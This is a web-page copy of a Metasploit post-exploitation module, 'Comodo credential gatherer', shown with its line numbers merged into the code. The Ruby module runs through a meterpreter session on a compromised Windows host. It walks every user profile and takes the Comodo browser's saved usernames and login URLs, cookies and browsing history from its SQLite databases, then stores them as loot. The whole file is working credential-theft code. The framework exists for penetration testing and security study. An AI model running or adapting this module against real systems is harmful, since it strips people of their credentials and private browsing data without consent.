Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/comodo.rb
Views: 11704
# frozen_string_literal: true12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Post8# this associative array defines the artifacts known to PackRat9include Msf::Post::File10include Msf::Post::Windows::UserProfiles11include Msf::Post::Windows::Packrat12ARTIFACTS =13{14application: 'comodo',15app_category: 'browsers',16gatherable_artifacts: [17{18filetypes: 'logins',19path: 'LocalAppData',20dir: 'Comodo',21artifact_file_name: 'Login Data',22description: "Comodo's saved Username and Passwords",23credential_type: 'sqlite',24sql_search: [25{26sql_description: "Database Commands which exports Chrome's Login data",27sql_table: 'logins',28sql_column: 'action_url, username_value'29}30]31},32{33filetypes: 'cookies',34path: 'LocalAppData',35dir: 'Comodo',36artifact_file_name: 'Cookies',37description: "Comodo's saved cookies",38credential_type: 'sqlite',39sql_search: [40{41sql_description: "Database Commands which exports Chrome's Cookie data",42sql_table: 'cookies',43sql_column: 'host_key, name, path'44}45]46},47{48filetypes: 'web_history',49path: 'LocalAppData',50dir: 'Comodo',51artifact_file_name: 'History',52description: "Comodo's History",53credential_type: 'sqlite',54sql_search: [55{56sql_description: "Database Commands which exports Chrome's Login data",57sql_table: 'urls',58sql_column: 'url'59},60{61sql_description: "Database Commands which exports Chrome's Login data",62sql_table: 'keyword_search_terms',63sql_column: 'lower_term'64},65{66sql_description: "Database Commands which exports Chrome's Login data",67sql_table: 'downloads',68sql_column: 'current_path, tab_referrer_url'69},70{71sql_description: "Database Commands which exports Chrome's Login data",72sql_table: 'segments',73sql_column: 'name'74},75{76sql_description: "Database Commands which exports Chrome's Login data",77sql_table: 'downloads_url_chains',78sql_column: 'url'79}80]81},82{83filetypes: 'web_history',84path: 'LocalAppData',85dir: 'Comodo',86artifact_file_name: 'Visited Links',87description: "Comodo's History",88credential_type: 'sqlite',89sql_search: [90{91sql_description: "Database Commands which exports Chrome's Login data",92sql_table: 'urls',93sql_column: 'url'94},95{96sql_description: "Database Commands which exports Chrome's Login data",97sql_table: 'keyword_search_terms',98sql_column: 'lower_term'99},100{101sql_description: "Database Commands which exports Chrome's Login data",102sql_table: 'downloads',103sql_column: 'current_path, tab_referrer_url'104},105{106sql_description: "Database Commands which exports Chrome's Login data",107sql_table: 'segments',108sql_column: 'name'109},110{111sql_description: "Database Commands which exports Chrome's Login data",112sql_table: 'downloads_url_chains',113sql_column: 'url'114}115]116}117]118}.freeze119120def initialize(info = {})121super(122update_info(123info,124'Name' => 'Comodo credential gatherer',125'Description' => %q{126PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.127PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.128Further details can be found in the module documentation.129This is a module that searches for credentials stored in Comodo on a windows remote host.130},131'License' => MSF_LICENSE,132'Author' => [133'Kazuyoshi Maruta',134'Daniel Hallsworth',135'Barwar Salim M',136'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org137],138'Platform' => ['win'],139'SessionTypes' => ['meterpreter'],140'Notes' => {141'Stability' => [CRASH_SAFE],142'Reliability' => [],143'SideEffects' => []144}145)146)147148register_options(149[150OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),151OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),152OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),153# enumerates the options based on the artifacts that are defined below154OptEnum.new('ARTIFACTS', [155false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|156k[:filetypes]157end.uniq.unshift('All')158])159]160)161end162163def run164print_status('Filtering based on these selections: ')165print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")166print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")167print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")168169# used to grab files for each user on the remote host170grab_user_profiles.each do |userprofile|171run_packrat(userprofile, ARTIFACTS)172end173174print_status 'PackRat credential sweep Completed'175end176end177178179